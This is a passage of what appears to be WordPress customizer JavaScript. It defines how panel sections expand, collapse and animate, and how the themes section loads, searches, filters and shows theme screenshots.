		 * @since 4.1.0
		 *
		 * @param {boolean} active
		 * @param {Object}  [params]
		 * @return {boolean} False if state already applied.
		 */
		_toggleActive: function ( active, params ) {
			var self = this;
			params = params || {};
			if ( ( active && this.active.get() ) || ( ! active && ! this.active.get() ) ) {
				params.unchanged = true;
				self.onChangeActive( self.active.get(), params );
				return false;
			} else {
				params.unchanged = false;
				this.activeArgumentsQueue.push( params );
				this.active.set( active );
				return true;
			}
		},

		/**
		 * @param {Object} [params]
		 * @return {boolean} False if already active.
		 */
		activate: function ( params ) {
			return this._toggleActive( true, params );
		},

		/**
		 * @param {Object} [params]
		 * @return {boolean} False if already inactive.
		 */
		deactivate: function ( params ) {
			return this._toggleActive( false, params );
		},

		/**
		 * To override by subclass, update the container's UI to reflect the provided active state.
		 * @abstract
		 */
		onChangeExpanded: function () {
			throw new Error( 'Must override with subclass.' );
		},

		/**
		 * Handle the toggle logic for expand/collapse.
		 *
		 * @param {boolean}  expanded - The new state to apply.
		 * @param {Object}   [params] - Object containing options for expand/collapse.
		 * @param {Function} [params.completeCallback] - Function to call when expansion/collapse is complete.
		 * @return {boolean} False if state already applied or active state is false.
		 */
		_toggleExpanded: function( expanded, params ) {
			var instance = this, previousCompleteCallback;
			params = params || {};
			previousCompleteCallback = params.completeCallback;

			// Short-circuit expand() if the instance is not active.
			if ( expanded && ! instance.active() ) {
				return false;
			}

			api.state( 'paneVisible' ).set( true );
			params.completeCallback = function() {
				if ( previousCompleteCallback ) {
					previousCompleteCallback.apply( instance, arguments );
				}
				if ( expanded ) {
					instance.container.trigger( 'expanded' );
				} else {
					instance.container.trigger( 'collapsed' );
				}
			};
			if ( ( expanded && instance.expanded.get() ) || ( ! expanded && ! instance.expanded.get() ) ) {
				params.unchanged = true;
				instance.onChangeExpanded( instance.expanded.get(), params );
				return false;
			} else {
				params.unchanged = false;
				instance.expandedArgumentsQueue.push( params );
				instance.expanded.set( expanded );
				return true;
			}
		},

		/**
		 * @param {Object} [params]
		 * @return {boolean} False if already expanded or if inactive.
		 */
		expand: function ( params ) {
			return this._toggleExpanded( true, params );
		},

		/**
		 * @param {Object} [params]
		 * @return {boolean} False if already collapsed.
		 */
		collapse: function ( params ) {
			return this._toggleExpanded( false, params );
		},

		/**
		 * Animate container state change if transitions are supported by the browser.
		 *
		 * @since 4.7.0
		 * @private
		 *
		 * @param {function} completeCallback Function to be called after transition is completed.
		 * @return {void}
		 */
		_animateChangeExpanded: function( completeCallback ) {
			// Return if CSS transitions are not supported or if reduced motion is enabled.
			if ( ! normalizedTransitionendEventName || isReducedMotion ) {
				// Schedule the callback until the next tick to prevent focus loss.
				_.defer( function () {
					if ( completeCallback ) {
						completeCallback();
					}
				} );
				return;
			}

			var construct = this,
				content = construct.contentContainer,
				overlay = content.closest( '.wp-full-overlay' ),
				elements, transitionEndCallback, transitionParentPane;

			// Determine set of elements that are affected by the animation.
			elements = overlay.add( content );

			if ( ! construct.panel || '' === construct.panel() ) {
				transitionParentPane = true;
			} else if ( api.panel( construct.panel() ).contentContainer.hasClass( 'skip-transition' ) ) {
				transitionParentPane = true;
			} else {
				transitionParentPane = false;
			}
			if ( transitionParentPane ) {
				elements = elements.add( '#customize-info, .customize-pane-parent' );
			}

			// Handle `transitionEnd` event.
			transitionEndCallback = function( e ) {
				if ( 2 !== e.eventPhase || ! $( e.target ).is( content ) ) {
					return;
				}
				content.off( normalizedTransitionendEventName, transitionEndCallback );
				elements.removeClass( 'busy' );
				if ( completeCallback ) {
					completeCallback();
				}
			};
			content.on( normalizedTransitionendEventName, transitionEndCallback );
			elements.addClass( 'busy' );

			// Prevent screen flicker when pane has been scrolled before expanding.
			_.defer( function() {
				var container = content.closest( '.wp-full-overlay-sidebar-content' ),
					currentScrollTop = container.scrollTop(),
					previousScrollTop = content.data( 'previous-scrollTop' ) || 0,
					expanded = construct.expanded();

				if ( expanded && 0 < currentScrollTop ) {
					content.css( 'top', currentScrollTop + 'px' );
					content.data( 'previous-scrollTop', currentScrollTop );
				} else if ( ! expanded && 0 < currentScrollTop + previousScrollTop ) {
					content.css( 'top', previousScrollTop - currentScrollTop + 'px' );
					container.scrollTop( previousScrollTop );
				}
			} );
		},

		/*
		 * is documented using @borrows in the constructor.
		 */
		focus: focus,

		/**
		 * Return the container html, generated from its JS template, if it exists.
		 *
		 * @since 4.3.0
		 */
		getContainer: function () {
			var template,
				container = this;

			if ( 0 !== $( '#tmpl-' + container.templateSelector ).length ) {
				template = wp.template( container.templateSelector );
			} else {
				template = wp.template( 'customize-' + container.containerType + '-default' );
			}
			if ( template && container.container ) {
				return template( _.extend(
					{ id: container.id },
					container.params
				) ).toString().trim();
			}

			return '<li></li>';
		},

		/**
		 * Find content element which is displayed when the section is expanded.
		 *
		 * After a construct is initialized, the return value will be available via the `contentContainer` property.
		 * By default the element will be related it to the parent container with `aria-owns` and detached.
		 * Custom panels and sections (such as the `NewMenuSection`) that do not have a sliding pane should
		 * just return the content element without needing to add the `aria-owns` element or detach it from
		 * the container. Such non-sliding pane custom sections also need to override the `onChangeExpanded`
		 * method to handle animating the panel/section into and out of view.
		 *
		 * @since 4.7.0
		 * @access public
		 *
		 * @return {jQuery} Detached content element.
		 */
		getContent: function() {
			var construct = this,
				container = construct.container,
				content = container.find( '.accordion-section-content, .control-panel-content' ).first(),
				contentId = 'sub-' + container.attr( 'id' ),
				ownedElements = contentId,
				alreadyOwnedElements = container.attr( 'aria-owns' );

			if ( alreadyOwnedElements ) {
				ownedElements = ownedElements + ' ' + alreadyOwnedElements;
			}
			container.attr( 'aria-owns', ownedElements );

			return content.detach().attr( {
				'id': contentId,
				'class': 'customize-pane-child ' + content.attr( 'class' ) + ' ' + container.attr( 'class' )
			} );
		}
	});

	api.Section = Container.extend(/** @lends wp.customize.Section.prototype */{
		containerType: 'section',
		containerParent: '#customize-theme-controls',
		containerPaneParent: '.customize-pane-parent',
		defaults: {
			title: '',
			description: '',
			priority: 100,
			type: 'default',
			content: null,
			active: true,
			instanceNumber: null,
			panel: null,
			customizeAction: ''
		},

		/**
		 * @constructs wp.customize.Section
		 * @augments   wp.customize~Container
		 *
		 * @since 4.1.0
		 *
		 * @param {string}  id - The ID for the section.
		 * @param {Object}  options - Options.
		 * @param {string}  options.title - Title shown when section is collapsed and expanded.
		 * @param {string}  [options.description] - Description shown at the top of the section.
		 * @param {number}  [options.priority=100] - The sort priority for the section.
		 * @param {string}  [options.type=default] - The type of the section. See wp.customize.sectionConstructor.
		 * @param {string}  [options.content] - The markup to be used for the section container. If empty, a JS template is used.
		 * @param {boolean} [options.active=true] - Whether the section is active or not.
		 * @param {string}  options.panel - The ID for the panel this section is associated with.
		 * @param {string}  [options.customizeAction] - Additional context information shown before the section title when expanded.
		 * @param {Object}  [options.params] - Deprecated wrapper for the above properties.
		 */
		initialize: function ( id, options ) {
			var section = this, params;
			params = options.params || options;

			// Look up the type if one was not supplied.
			if ( ! params.type ) {
				_.find( api.sectionConstructor, function( Constructor, type ) {
					if ( Constructor === section.constructor ) {
						params.type = type;
						return true;
					}
					return false;
				} );
			}

			Container.prototype.initialize.call( section, id, params );

			section.id = id;
			section.panel = new api.Value();
			section.panel.bind( function ( id ) {
				$( section.headContainer ).toggleClass( 'control-subsection', !! id );
			});
			section.panel.set( section.params.panel || '' );
			api.utils.bubbleChildValueChanges( section, [ 'panel' ] );

			section.embed();
			section.deferred.embedded.done( function () {
				section.ready();
			});
		},

		/**
		 * Embed the container in the DOM when any parent panel is ready.
		 *
		 * @since 4.1.0
		 */
		embed: function () {
			var inject,
				section = this;

			section.containerParent = api.ensure( section.containerParent );

			// Watch for changes to the panel state.
			inject = function ( panelId ) {
				var parentContainer;
				if ( panelId ) {
					// The panel has been supplied, so wait until the panel object is registered.
					api.panel( panelId, function ( panel ) {
						// The panel has been registered, wait for it to become ready/initialized.
						panel.deferred.embedded.done( function () {
							parentContainer = panel.contentContainer;
							if ( ! section.headContainer.parent().is( parentContainer ) ) {
								parentContainer.append( section.headContainer );
							}
							if ( ! section.contentContainer.parent().is( section.headContainer ) ) {
								section.containerParent.append( section.contentContainer );
							}
							section.deferred.embedded.resolve();
						});
					} );
				} else {
					// There is no panel, so embed the section in the root of the customizer.
					parentContainer = api.ensure( section.containerPaneParent );
					if ( ! section.headContainer.parent().is( parentContainer ) ) {
						parentContainer.append( section.headContainer );
					}
					if ( ! section.contentContainer.parent().is( section.headContainer ) ) {
						section.containerParent.append( section.contentContainer );
					}
					section.deferred.embedded.resolve();
				}
			};
			section.panel.bind( inject );
			inject( section.panel.get() ); // Since a section may never get a panel, assume that it won't ever get one.
		},

		/**
		 * Add behaviors for the accordion section.
		 *
		 * @since 4.1.0
		 */
		attachEvents: function () {
			var meta, content, section = this;

			if ( section.container.hasClass( 'cannot-expand' ) ) {
				return;
			}

			// Expand/Collapse accordion sections on click.
			section.container.find( '.accordion-section-title, .customize-section-back' ).on( 'click keydown', function( event ) {
				if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
					return;
				}
				event.preventDefault(); // Keep this AFTER the key filter above.

				if ( section.expanded() ) {
					section.collapse();
				} else {
					section.expand();
				}
			});

			// This is very similar to what is found for api.Panel.attachEvents().
			section.container.find( '.customize-section-title .customize-help-toggle' ).on( 'click', function() {

				meta = section.container.find( '.section-meta' );
				if ( meta.hasClass( 'cannot-expand' ) ) {
					return;
				}
				content = meta.find( '.customize-section-description:first' );
				content.toggleClass( 'open' );
				content.slideToggle( section.defaultExpandedArguments.duration, function() {
					content.trigger( 'toggled' );
				} );
				$( this ).attr( 'aria-expanded', function( i, attr ) {
					return 'true' === attr ? 'false' : 'true';
				});
			});
		},

		/**
		 * Return whether this section has any active controls.
		 *
		 * @since 4.1.0
		 *
		 * @return {boolean}
		 */
		isContextuallyActive: function () {
			var section = this,
				controls = section.controls(),
				activeCount = 0;
			_( controls ).each( function ( control ) {
				if ( control.active() ) {
					activeCount += 1;
				}
			} );
			return ( activeCount !== 0 );
		},

		/**
		 * Get the controls that are associated with this section, sorted by their priority Value.
		 *
		 * @since 4.1.0
		 *
		 * @return {Array}
		 */
		controls: function () {
			return this._children( 'section', 'control' );
		},

		/**
		 * Update UI to reflect expanded state.
		 *
		 * @since 4.1.0
		 *
		 * @param {boolean} expanded
		 * @param {Object}  args
		 */
		onChangeExpanded: function ( expanded, args ) {
			var section = this,
				container = section.headContainer.closest( '.wp-full-overlay-sidebar-content' ),
				content = section.contentContainer,
				overlay = section.headContainer.closest( '.wp-full-overlay' ),
				backBtn = content.find( '.customize-section-back' ),
				sectionTitle = section.headContainer.find( '.accordion-section-title' ).first(),
				expand, panel;

			if ( expanded && ! content.hasClass( 'open' ) ) {

				if ( args.unchanged ) {
					expand = args.completeCallback;
				} else {
					expand = function() {
						section._animateChangeExpanded( function() {
							sectionTitle.attr( 'tabindex', '-1' );
							backBtn.attr( 'tabindex', '0' );

							backBtn.trigger( 'focus' );
							content.css( 'top', '' );
							container.scrollTop( 0 );

							if ( args.completeCallback ) {
								args.completeCallback();
							}
						} );

						content.addClass( 'open' );
						overlay.addClass( 'section-open' );
						api.state( 'expandedSection' ).set( section );
					}.bind( this );
				}

				if ( ! args.allowMultiple ) {
					api.section.each( function ( otherSection ) {
						if ( otherSection !== section ) {
							otherSection.collapse( { duration: args.duration } );
						}
					});
				}

				if ( section.panel() ) {
					api.panel( section.panel() ).expand({
						duration: args.duration,
						completeCallback: expand
					});
				} else {
					if ( ! args.allowMultiple ) {
						api.panel.each( function( panel ) {
							panel.collapse();
						});
					}
					expand();
				}

			} else if ( ! expanded && content.hasClass( 'open' ) ) {
				if ( section.panel() ) {
					panel = api.panel( section.panel() );
					if ( panel.contentContainer.hasClass( 'skip-transition' ) ) {
						panel.collapse();
					}
				}
				section._animateChangeExpanded( function() {
					backBtn.attr( 'tabindex', '-1' );
					sectionTitle.attr( 'tabindex', '0' );

					sectionTitle.trigger( 'focus' );
					content.css( 'top', '' );

					if ( args.completeCallback ) {
						args.completeCallback();
					}
				} );

				content.removeClass( 'open' );
				overlay.removeClass( 'section-open' );
				if ( section === api.state( 'expandedSection' ).get() ) {
					api.state( 'expandedSection' ).set( false );
				}

			} else {
				if ( args.completeCallback ) {
					args.completeCallback();
				}
			}
		}
	});

	api.ThemesSection = api.Section.extend(/** @lends wp.customize.ThemesSection.prototype */{
		currentTheme: '',
		overlay: '',
		template: '',
		screenshotQueue: null,
		$window: null,
		$body: null,
		loaded: 0,
		loading: false,
		fullyLoaded: false,
		term: '',
		tags: '',
		nextTerm: '',
		nextTags: '',
		filtersHeight: 0,
		headerContainer: null,
		updateCountDebounced: null,

		/**
		 * wp.customize.ThemesSection
		 *
		 * Custom section for themes that loads themes by category, and also
		 * handles the theme-details view rendering and navigation.
		 *
		 * @constructs wp.customize.ThemesSection
		 * @augments   wp.customize.Section
		 *
		 * @since 4.9.0
		 *
		 * @param {string} id - ID.
		 * @param {Object} options - Options.
		 * @return {void}
		 */
		initialize: function( id, options ) {
			var section = this;
			section.headerContainer = $();
			section.$window = $( window );
			section.$body = $( document.body );
			api.Section.prototype.initialize.call( section, id, options );
			section.updateCountDebounced = _.debounce( section.updateCount, 500 );
		},

		/**
		 * Embed the section in the DOM when the themes panel is ready.
		 *
		 * Insert the section before the themes container. Assume that a themes section is within a panel, but not necessarily the themes panel.
		 *
		 * @since 4.9.0
		 */
		embed: function() {
			var inject,
				section = this;

			// Watch for changes to the panel state.
			inject = function( panelId ) {
				var parentContainer;
				api.panel( panelId, function( panel ) {

					// The panel has been registered, wait for it to become ready/initialized.
					panel.deferred.embedded.done( function() {
						parentContainer = panel.contentContainer;
						if ( ! section.headContainer.parent().is( parentContainer ) ) {
							parentContainer.find( '.customize-themes-full-container-container' ).before( section.headContainer );
						}
						if ( ! section.contentContainer.parent().is( section.headContainer ) ) {
							section.containerParent.append( section.contentContainer );
						}
						section.deferred.embedded.resolve();
					});
				} );
			};
			section.panel.bind( inject );
			inject( section.panel.get() ); // Since a section may never get a panel, assume that it won't ever get one.
		},

		/**
		 * Set up.
		 *
		 * @since 4.2.0
		 *
		 * @return {void}
		 */
		ready: function() {
			var section = this;
			section.overlay = section.container.find( '.theme-overlay' );
			section.template = wp.template( 'customize-themes-details-view' );

			// Bind global keyboard events.
			section.container.on( 'keydown', function( event ) {
				if ( ! section.overlay.find( '.theme-wrap' ).is( ':visible' ) ) {
					return;
				}

				// Pressing the right arrow key fires a theme:next event.
				if ( 39 === event.keyCode ) {
					section.nextTheme();
				}

				// Pressing the left arrow key fires a theme:previous event.
				if ( 37 === event.keyCode ) {
					section.previousTheme();
				}

				// Pressing the escape key fires a theme:collapse event.
				if ( 27 === event.keyCode ) {
					if ( section.$body.hasClass( 'modal-open' ) ) {

						// Escape from the details modal.
						section.closeDetails();
					} else {

						// Escape from the inifinite scroll list.
						section.headerContainer.find( '.customize-themes-section-title' ).focus();
					}
					event.stopPropagation(); // Prevent section from being collapsed.
				}
			});

			section.renderScreenshots = _.throttle( section.renderScreenshots, 100 );

			_.bindAll( section, 'renderScreenshots', 'loadMore', 'checkTerm', 'filtersChecked' );
		},

		/**
		 * Override Section.isContextuallyActive method.
		 *
		 * Ignore the active states' of the contained theme controls, and just
		 * use the section's own active state instead. This prevents empty search
		 * results for theme sections from causing the section to become inactive.
		 *
		 * @since 4.2.0
		 *
		 * @return {boolean}
		 */
		isContextuallyActive: function () {
			return this.active();
		},

		/**
		 * Attach events.
		 *
		 * @since 4.2.0
		 *
		 * @return {void}
		 */
		attachEvents: function () {
			var section = this, debounced;

			// Expand/Collapse accordion sections on click.
			section.container.find( '.customize-section-back' ).on( 'click keydown', function( event ) {
				if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
					return;
				}
				event.preventDefault(); // Keep this AFTER the key filter above.
				section.collapse();
			});

			section.headerContainer = $( '#accordion-section-' + section.id );

			// Expand section/panel. Only collapse when opening another section.
			section.headerContainer.on( 'click', '.customize-themes-section-title', function() {

				// Toggle accordion filters under section headers.
				if ( section.headerContainer.find( '.filter-details' ).length ) {
					section.headerContainer.find( '.customize-themes-section-title' )
						.toggleClass( 'details-open' )
						.attr( 'aria-expanded', function( i, attr ) {
							return 'true' === attr ? 'false' : 'true';
						});
					section.headerContainer.find( '.filter-details' ).slideToggle( 180 );
				}

				// Open the section.
				if ( ! section.expanded() ) {
					section.expand();
				}
			});

			// Preview installed themes.
			section.container.on( 'click', '.theme-actions .preview-theme', function() {
				api.panel( 'themes' ).loadThemePreview( $( this ).data( 'slug' ) );
			});

			// Theme navigation in details view.
			section.container.on( 'click', '.left', function() {
				section.previousTheme();
			});

			section.container.on( 'click', '.right', function() {
				section.nextTheme();
			});

			section.container.on( 'click', '.theme-backdrop, .close', function() {
				section.closeDetails();
			});

			if ( 'local' === section.params.filter_type ) {

				// Filter-search all theme objects loaded in the section.
				section.container.on( 'input', '.wp-filter-search-themes', function( event ) {
					section.filterSearch( event.currentTarget.value );
				});

			} else if ( 'remote' === section.params.filter_type ) {

				// Event listeners for remote queries with user-entered terms.
				// Search terms.
				debounced = _.debounce( section.checkTerm, 500 ); // Wait until there is no input for 500 milliseconds to initiate a search.
				section.contentContainer.on( 'input', '.wp-filter-search', function() {
					if ( ! api.panel( 'themes' ).expanded() ) {
						return;
					}
					debounced( section );
					if ( ! section.expanded() ) {
						section.expand();
					}
				});

				// Feature filters.
				section.contentContainer.on( 'click', '.filter-group input', function() {
					section.filtersChecked();
					section.checkTerm( section );
				});
			}

			// Toggle feature filters.
			section.contentContainer.on( 'click', '.feature-filter-toggle', function( e ) {
				var $themeContainer = $( '.customize-themes-full-container' ),
					$filterToggle = $( e.currentTarget );
				section.filtersHeight = $filterToggle.parent().next( '.filter-drawer' ).height();

				if ( 0 < $themeContainer.scrollTop() ) {
					$themeContainer.animate( { scrollTop: 0 }, 400 );

					if ( $filterToggle.hasClass( 'open' ) ) {
						return;
					}
				}

				$filterToggle
					.toggleClass( 'open' )
					.attr( 'aria-expanded', function( i, attr ) {
						return 'true' === attr ? 'false' : 'true';
					})
					.parent().next( '.filter-drawer' ).slideToggle( 180, 'linear' );

				if ( $filterToggle.hasClass( 'open' ) ) {
					var marginOffset = 1018 < window.innerWidth ? 50 : 76;

					section.contentContainer.find( '.themes' ).css( 'margin-top', section.filtersHeight + marginOffset );
				} else {
					section.contentContainer.find( '.themes' ).css( 'margin-top', 0 );
				}
			});

			// Setup section cross-linking.
			section.contentContainer.on( 'click', '.no-themes-local .search-dotorg-themes', function() {
				api.section( 'wporg_themes' ).focus();
			});

			function updateSelectedState() {
				var el = section.headerContainer.find( '.customize-themes-section-title' );
				el.toggleClass( 'selected', section.expanded() );
				el.attr( 'aria-expanded', section.expanded() ? 'true' : 'false' );
				if ( ! section.expanded() ) {
					el.removeClass( 'details-open' );
				}
			}
			section.expanded.bind( updateSelectedState );
			updateSelectedState();

			// Move section controls to the themes area.
			api.bind( 'ready', function () {
				section.contentContainer = section.container.find( '.customize-themes-section' );
				section.contentContainer.appendTo( $( '.customize-themes-full-container' ) );
				section.container.add( section.headerContainer );
			});
		},

		/**
		 * Update UI to reflect expanded state
		 *
		 * @since 4.2.0
		 *
		 * @param {boolean}  expanded
		 * @param {Object}   args
		 * @param {boolean}  args.unchanged
		 * @param {Function} args.completeCallback
		 * @return {void}
		 */
		onChangeExpanded: function ( expanded, args ) {

			// Note: there is a second argument 'args' passed.
			var section = this,
				container = section.contentContainer.closest( '.customize-themes-full-container' );

			// Immediately call the complete callback if there were no changes.
			if ( args.unchanged ) {
				if ( args.completeCallback ) {
					args.completeCallback();
				}
				return;
			}

			function expand() {

				// Try to load controls if none are loaded yet.
				if ( 0 === section.loaded ) {
					section.loadThemes();
				}

				// Collapse any sibling sections/panels.
				api.section.each( function ( otherSection ) {
					var searchTerm;

					if ( otherSection !== section ) {

						// Try to sync the current search term to the new section.
						if ( 'themes' === otherSection.params.type ) {
							searchTerm = otherSection.contentContainer.find( '.wp-filter-search' ).val();
							section.contentContainer.find( '.wp-filter-search' ).val( searchTerm );

							// Directly initialize an empty remote search to avoid a race condition.
							if ( '' === searchTerm && '' !== section.term && 'local' !== section.params.filter_type ) {
								section.term = '';
								section.initializeNewQuery( section.term, section.tags );
							} else {
								if ( 'remote' === section.params.filter_type ) {
									section.checkTerm( section );
								} else if ( 'local' === section.params.filter_type ) {
									section.filterSearch( searchTerm );
								}
							}
							otherSection.collapse( { duration: args.duration } );
						}
					}
				});

				section.contentContainer.addClass( 'current-section' );
				container.scrollTop();

				container.on( 'scroll', _.throttle( section.renderScreenshots, 300 ) );
				container.on( 'scroll', _.throttle( section.loadMore, 300 ) );

				if ( args.completeCallback ) {
					args.completeCallback();
				}
				section.updateCount(); // Show this section's count.
			}

			if ( expanded ) {
				if ( section.panel() && api.panel.has( section.panel() ) ) {
					api.panel( section.panel() ).expand({
						duration: args.duration,
						completeCallback: expand
					});
				} else {
					expand();
				}
			} else {
				section.contentContainer.removeClass( 'current-section' );

				// Always hide, even if they don't exist or are already hidden.
				section.headerContainer.find( '.filter-details' ).slideUp( 180 );

				container.off( 'scroll' );

				if ( args.completeCallback ) {
					args.completeCallback();
				}
			}
		},

		/**
		 * Return the section's content element without detaching from the parent.
		 *
		 * @since 4.9.0
		 *
		 * @return {jQuery}
		 */
		getContent: function() {
			return this.container.find( '.control-section-content' );
		},

		/**
		 * Load theme data via Ajax and add themes to the section as controls.
		 *
		 * @since 4.9.0
		 *
		 * @return {void}
		 */
		loadThemes: function() {
			var section = this, params, page, request;

			if ( section.loading ) {
				return; // We're already loading a batch of themes.
			}

			// Parameters for every API query. Additional params are set in PHP.
			page = Math.ceil( section.loaded / 100 ) + 1;
			params = {
				'nonce': api.settings.nonce.switch_themes,
				'wp_customize': 'on',
				'theme_action': section.params.action,
				'customized_theme': api.settings.theme.stylesheet,
				'page': page
			};

			// Add fields for remote filtering.
			if ( 'remote' === section.params.filter_type ) {
				params.search = section.term;
				params.tags = section.tags;
			}

			// Load themes.
			section.headContainer.closest( '.wp-full-overlay' ).addClass( 'loading' );
			section.loading = true;
			section.container.find( '.no-themes' ).hide();
			request = wp.ajax.post( 'customize_load_themes', params );
			request.done(function( data ) {
				var themes = data.themes;

				// Stop and try again if the term changed while loading.
				if ( '' !== section.nextTerm || '' !== section.nextTags ) {
					if ( section.nextTerm ) {
						section.term = section.nextTerm;
					}
					if ( section.nextTags ) {
						section.tags = section.nextTags;
					}
					section.nextTerm = '';
					section.nextTags = '';
					section.loading = false;
					section.loadThemes();
					return;
				}

				if ( 0 !== themes.length ) {

					section.loadControls( themes, page );

					if ( 1 === page ) {

						// Pre-load the first 3 theme screenshots.
						_.each( section.controls().slice( 0, 3 ), function( control ) {
							var img, src = control.params.theme.screenshot[0];
							if ( src ) {
								img = new Image();
								img.src = src;
							}
						});
						if ( 'local' !== section.params.filter_type ) {
							wp.a11y.speak( api.settings.l10n.themeSearchResults.replace( '%d', data.info.results ) );
						}
					}

					_.delay( section.renderScreenshots, 100 ); // Wait for the controls to become visible.

					if ( 'local' === section.params.filter_type || 100 > themes.length ) {
						// If we have less than the requested 100 themes, it's the end of the list.
						section.fullyLoaded = true;
					}
				} else {
					if ( 0 === section.loaded ) {
						section.container.find( '.no-themes' ).show();
						wp.a11y.speak( section.container.find( '.no-themes' ).text() );
					} else {
						section.fullyLoaded = true;
					}
				}
				if ( 'local' === section.params.filter_type ) {
					section.updateCount(); // Count of visible theme controls.
				} else {
					section.updateCount( data.info.results ); // Total number of results including pages not yet loaded.
				}
				section.container.find( '.unexpected-error' ).hide(); // Hide error notice in case it was previously shown.

				// This cannot run on request.always, as section.loading may turn false before the new controls load in the success case.
				section.headContainer.closest( '.wp-full-overlay' ).removeClass( 'loading' );
				section.loading = false;
			});
			request.fail(function( data ) {
				if ( 'undefined' === typeof data ) {
					section.container.find( '.unexpected-error' ).show();
					wp.a11y.speak( section.container.find( '.unexpected-error' ).text() );
				} else if ( 'undefined' !== typeof console && console.error ) {
					console.error( data );
				}

				// This cannot run on request.always, as section.loading may turn false before the new controls load in the success case.
				section.headContainer.closest( '.wp-full-overlay' ).removeClass( 'loading' );
				section.loading = false;
			});
		},

		/**
		 * Loads controls into the section from data received from loadThemes().
		 *
		 * @since 4.9.0
		 * @param {Array}  themes - Array of theme data to create controls with.
		 * @param {number} page   - Page of results being loaded.
		 * @return {void}
		 */
		loadControls: function( themes, page ) {
			var newThemeControls = [],
				section = this;

			// Add controls for each theme.
			_.each( themes, function( theme ) {
				var themeControl = new api.controlConstructor.theme( section.params.action + '_theme_' + theme.id, {
					type: 'theme',
					section: section.params.id,
					theme: theme,
					priority: section.loaded + 1
				} );

				api.control.add( themeControl );
				newThemeControls.push( themeControl );
				section.loaded = section.loaded + 1;
			});

			if ( 1 !== page ) {
				Array.prototype.push.apply( section.screenshotQueue, newThemeControls ); // Add new themes to the screenshot queue.
			}
		},

		/**
		 * Determines whether more themes should be loaded, and loads them.
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		loadMore: function() {
			var section = this, container, bottom, threshold;
			if ( ! section.fullyLoaded && ! section.loading ) {
				container = section.container.closest( '.customize-themes-full-container' );

				bottom = container.scrollTop() + container.height();
				// Use a fixed distance to the bottom of loaded results to avoid unnecessarily
				// loading results sooner when using a percentage of scroll distance.
				threshold = container.prop( 'scrollHeight' ) - 3000;

				if ( bottom > threshold ) {
					section.loadThemes();
				}
			}
		},

		/**
		 * Event handler for search input that filters visible controls.
		 *
		 * @since 4.9.0
		 *
		 * @param {string} term - The raw search input value.
		 * @return {void}
		 */
		filterSearch: function( term ) {
			var count = 0,
				visible = false,
				section = this,
				noFilter = ( api.section.has( 'wporg_themes' ) && 'remote' !== section.params.filter_type ) ? '.no-themes-local' : '.no-themes',
				controls = section.controls(),
				terms;

			if ( section.loading ) {
				return;
			}

			// Standardize search term format and split into an array of individual words.
			terms = term.toLowerCase().trim().replace( /-/g, ' ' ).split( ' ' );

			_.each( controls, function( control ) {
				visible = control.filter( terms ); // Shows/hides and sorts control based on the applicability of the search term.
				if ( visible ) {
					count = count + 1;
				}
			});

			if ( 0 === count ) {
				section.container.find( noFilter ).show();
				wp.a11y.speak( section.container.find( noFilter ).text() );
			} else {
				section.container.find( noFilter ).hide();
			}

			section.renderScreenshots();
			api.reflowPaneContents();

			// Update theme count.
			section.updateCountDebounced( count );
		},

		/**
		 * Event handler for search input that determines if the terms have changed and loads new controls as needed.
		 *
		 * @since 4.9.0
		 *
		 * @param {wp.customize.ThemesSection} section - The current theme section, passed through the debouncer.
		 * @return {void}
		 */
		checkTerm: function( section ) {
			var newTerm;
			if ( 'remote' === section.params.filter_type ) {
				newTerm = section.contentContainer.find( '.wp-filter-search' ).val();
				if ( section.term !== newTerm.trim() ) {
					section.initializeNewQuery( newTerm, section.tags );
				}
			}
		},

		/**
		 * Check for filters checked in the feature filter list and initialize a new query.
		 *
		 * @since 4.9.0
		 *
		 * @return {void}
		 */
		filtersChecked: function() {
			var section = this,
			    items = section.container.find( '.filter-group' ).find( ':checkbox' ),
			    tags = [];

			_.each( items.filter( ':checked' ), function( item ) {
				tags.push( $( item ).prop( 'value' ) );
			});

			// When no filters are checked, restore initial state. Update filter count.
			if ( 0 === tags.length ) {
				tags = '';
				section.contentContainer.find( '.feature-filter-toggle .filter-count-0' ).show();
				section.contentContainer.find( '.feature-filter-toggle .filter-count-filters' ).hide();
			} else {
				section.contentContainer.find( '.feature-filter-toggle .theme-filter-count' ).text( tags.length );
				section.contentContainer.find( '.feature-filter-toggle .filter-count-0' ).hide();
				section.contentContainer.find( '.feature-filter-toggle .filter-count-filters' ).show();
			}

			// Check whether tags have changed, and either load or queue them.
			if ( ! _.isEqual( section.tags, tags ) ) {
				if ( section.loading ) {
					section.nextTags = tags;
				} else {
					if ( 'remote' === section.params.filter_type ) {
						section.initializeNewQuery( section.term, tags );
					} else if ( 'local' === section.params.filter_type ) {
						section.filterSearch( tags.join( ' ' ) );
					}
				}
			}
		},

		/**
		 * Reset the current query and load new results.
		 *
		 * @since 4.9.0
		 *
		 * @param {string} newTerm - New term.
		 * @param {Array} newTags - New tags.
		 * @return {void}
		 */
		initializeNewQuery: function( newTerm, newTags ) {
			var section = this;

			// Clear the controls in the section.
			_.each( section.controls(), function( control ) {
				control.container.remove();
				api.control.remove( control.id );
			});
			section.loaded = 0;
			section.fullyLoaded = false;
			section.screenshotQueue = null;

			// Run a new query, with loadThemes handling paging, etc.
			if ( ! section.loading ) {
				section.term = newTerm;
				section.tags = newTags;
				section.loadThemes();
			} else {
				section.nextTerm = newTerm; // This will reload from loadThemes() with the newest term once the current batch is loaded.
				section.nextTags = newTags; // This will reload from loadThemes() with the newest tags once the current batch is loaded.
			}
			if ( ! section.expanded() ) {
				section.expand(); // Expand the section if it isn't expanded.
			}
		},

		/**
		 * Render control's screenshot if the control comes into view.
		 *
		 * @since 4.2.0
		 *
		 * @return {void}
		 */
		renderScreenshots: function() {
			var section = this;

			// Fill queue initially, or check for more if empty.
			if ( null === section.screenshotQueue || 0 === section.screenshotQueue.length ) {

				// Add controls that haven't had their screenshots rendered.
				section.screenshotQueue = _.filter( section.controls(), function( control ) {
					return ! control.screenshotRendered;
				});
			}

			// Are all screenshots rendered (for now)?
			if ( ! section.screenshotQueue.length ) {
				return;
			}

			section.screenshotQueue = _.filter( section.screenshotQueue, function( control ) {
				var $imageWrapper = control.container.find( '.theme-screenshot' ),
					$image = $imageWrapper.find( 'img' );

				if ( ! $image.length ) {
					return false;
				}

				if ( $image.is( ':hidden' ) ) {
					return true;
				}

				// Based on unveil.js.
				var wt = section.$window.scrollTop(),
					wb = wt + section.$window.height(),
					et = $image.offset().top,
					ih = $imageWrapper.height(),
					eb = et + ih,
					threshold = ih * 3,
